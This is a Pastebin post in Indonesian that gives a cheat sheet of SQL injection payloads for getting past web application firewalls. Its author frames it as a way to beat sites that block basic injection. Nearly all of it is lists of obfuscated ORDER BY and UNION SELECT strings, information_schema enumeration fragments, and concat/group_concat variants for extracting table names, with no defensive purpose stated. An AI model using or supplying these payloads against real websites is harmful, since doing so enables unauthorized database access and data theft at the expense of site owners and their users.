Fadly31337

Macam Macam Bypass WAF

May 2nd, 2020
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.73 KB | None | 0 0
  1. Halo hacker,lamer,pro.
  2. Kali ini gw mau share tentang macam macam bypass di sql injection.
  3. Setelah kita udah paham tentang basic sql injection, kita terkadang jumpa dengan web yang ngeselin, kayak ketika waktu mengorder by , kadang 403 forbidden, not acceptable dan lain nya. Nah kali ini gw mau bagiin cara membypass (bye bye password kepanjangan nya :v) WAF di sql injection itu.
  4.  
  5. Eitts, taukan waf itu apa ? WAF atau Web Application Firewall berguna sebagai firewall security web untuk keamanan umum. Jadi, bisa dibilang web yang rata rata udah dipasangin waf itu udah kebal yang namanya dengan sql injection basic atau dengan statement error karakter (') atau (/**).
  6.  
  7. Oke deh ini dia beberapa macam bypass dalam sql injection. Langsung aja
  8.  
  9.  
  10.  
  11.  
  12. [~] order by [~]
  13.  
  14. /**/ORDER/**/BY/**/
  15. /*!order*/+/*!by*/
  16. /*!ORDER BY*/
  17. /*!50000ORDER BY*/
  18. /*!50000ORDER*//**//*!50000BY*/
  19. /*!12345ORDER*/+/*!BY*/
  20.  
  21. [~] UNION select [~]
  22.  
  23. /*!50000%55nIoN*/ /*!50000%53eLeCt*/
  24. %55nion(%53elect 1,2,3)-- -
  25. +union+distinct+select+
  26. +union+distinctROW+select+
  27. /**//*!12345UNION SELECT*//**/
  28. /**//*!50000UNION SELECT*//**/
  29. /**/UNION/**//*!50000SELECT*//**/
  30. /*!50000UniON SeLeCt*/
  31. union /*!50000%53elect*/
  32. +#uNiOn+#sEleCt
  33. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  34. /*!%55NiOn*/ /*!%53eLEct*/
  35. /*!u%6eion*/ /*!se%6cect*/
  36. +un/**/ion+se/**/lect
  37. uni%0bon+se%0blect
  38. %2f**%2funion%2f**%2fselect
  39. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  40. REVERSE(noinu)+REVERSE(tceles)
  41. /*--*/union/*--*/select/*--*/
  42. union (/*!/**/ SeleCT */ 1,2,3)
  43. /*!union*/+/*!select*/
  44. union+/*!select*/
  45. /**/union/**/select/**/
  46. /**/uNIon/**/sEleCt/**/
  47. +%2F**/+Union/*!select*/
  48. /**//*!union*//**//*!select*//**/
  49. /*!uNIOn*/ /*!SelECt*/
  50. +union+distinct+select+
  51. +union+distinctROW+select+
  52. uNiOn aLl sElEcT
  53. UNIunionON+SELselectECT
  54. /**/union/*!50000select*//**/
  55. 0%a0union%a0select%09
  56. %0Aunion%0Aselect%0A
  57. %55nion/**/%53elect
  58. uni/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  59. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  60. %0A%09UNION%0CSELECT%10NULL%
  61. /*!union*//*--*//*!all*//*--*//*!select*/
  62. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  63. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  64. +UnIoN/*&a=*/SeLeCT/*&a=*/
  65. union+sel%0bect
  66. +uni*on+sel*ect+
  67. +#1q%0Aunion all#qa%0A#%0Aselect
  68. union(select (1),(2),(3),(4),(5))
  69. UNION(SELECT(column)FROM(table))
  70. %23xyz%0AUnIOn%23xyz%0ASeLecT+
  71. %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
  72. union(select(1),2,3)
  73. union (select 1111,2222,3333)
  74. uNioN (/*!/**/ SeleCT */ 11)
  75. union (select 1111,2222,3333)
  76. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  77. /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
  78. %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
  79. +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
  80. +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  81. /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
  82. +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
  83. /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
  84. /union\sselect/g
  85. /union\s+select/i
  86. /*!UnIoN*/SeLeCT
  87. +UnIoN/*&a=*/SeLeCT/*&a=*/
  88. +uni>on+sel>ect+
  89. +(UnIoN)+(SelECT)+
  90. +(UnI)(oN)+(SeL)(EcT)
  91. +’UnI”On’+'SeL”ECT’
  92. +uni on+sel ect+
  93. +/*!UnIoN*/+/*!SeLeCt*/+
  94. /*!u%6eion*/ /*!se%6cect*/
  95. uni%20union%20/*!select*/%20
  96. union%23aa%0Aselect
  97. /**/union/*!50000select*/
  98. /^.*union.*$/ /^.*select.*$/
  99. /*union*/union/*select*/select+
  100. /*uni X on*/union/*sel X ect*/
  101. +un/**/ion+sel/**/ect+
  102. +UnIOn%0d%0aSeleCt%0d%0a
  103. UNION/*&test=1*/SELECT/*&pwn=2*/
  104. un?+un/**/ion+se/**/lect+
  105. +UNunionION+SEselectLECT+
  106. +uni%0bon+se%0blect+
  107. %252f%252a*/union%252f%252a /select%252f%252a*/
  108. /%2A%2A/union/%2A%2A/select/%2A%2A/
  109. %2f**%2funion%2f**%2fselect%2f**%2f
  110. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  111. /*!UnIoN*/SeLecT+
  112.  
  113. [~] information_schema.tables [~]
  114.  
  115. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
  116. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
  117. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
  118. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
  119. /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  120. /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
  121.  
  122. [~] concat() [~]
  123.  
  124. CoNcAt()
  125. concat()
  126. CON%08CAT()
  127. CoNcAt()
  128. %0AcOnCat()
  129. /**//*!12345cOnCat*/
  130. /*!50000cOnCat*/(/*!*/)
  131. unhex(hex(concat(table_name)))
  132. unhex(hex(/*!12345concat*/(table_name)))
  133. unhex(hex(/*!50000concat*/(table_name)))
  134.  
  135. [~] group_concat() [~]
  136.  
  137. /*!group_concat*/()
  138. gRoUp_cOnCAt()
  139. group_concat(/*!*/)
  140. group_concat(/*!12345table_name*/)
  141. group_concat(/*!50000table_name*/)
  142. /*!group_concat*/(/*!12345table_name*/)
  143. /*!group_concat*/(/*!50000table_name*/)
  144. /*!12345group_concat*/(/*!12345table_name*/)
  145. /*!50000group_concat*/(/*!50000table_name*/)
  146. /*!GrOuP_ConCaT*/()
  147. /*!12345GroUP_ConCat*/()
  148. /*!50000gRouP_cOnCaT*/()
  149. /*!50000Gr%6fuP_c%6fnCAT*/()
  150. unhex(hex(group_concat(table_name)))
  151. unhex(hex(/*!group_concat*/(/*!table_name*/)))
  152. unhex(hex(/*!12345group_concat*/(table_name)))
  153. unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
  154. unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
  155. unhex(hex(/*!50000group_concat*/(table_name)))
  156. unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
  157. unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
  158. convert(group_concat(table_name)+using+ascii)
  159. convert(group_concat(/*!table_name*/)+using+ascii)
  160. convert(group_concat(/*!12345table_name*/)+using+ascii)
  161. convert(group_concat(/*!50000table_name*/)+using+ascii)
  162. CONVERT(group_concat(table_name)+USING+latin1)
  163. CONVERT(group_concat(table_name)+USING+latin2)
  164. CONVERT(group_concat(table_name)+USING+latin3)
  165. CONVERT(group_concat(table_name)+USING+latin4)
  166. CONVERT(group_concat(table_name)+USING+latin5)
  167.  
  168. banyak juga ya ternyata.
  169. Pecah palalu ngapalin satu-satu
Add Comment
Please, Sign In to add comment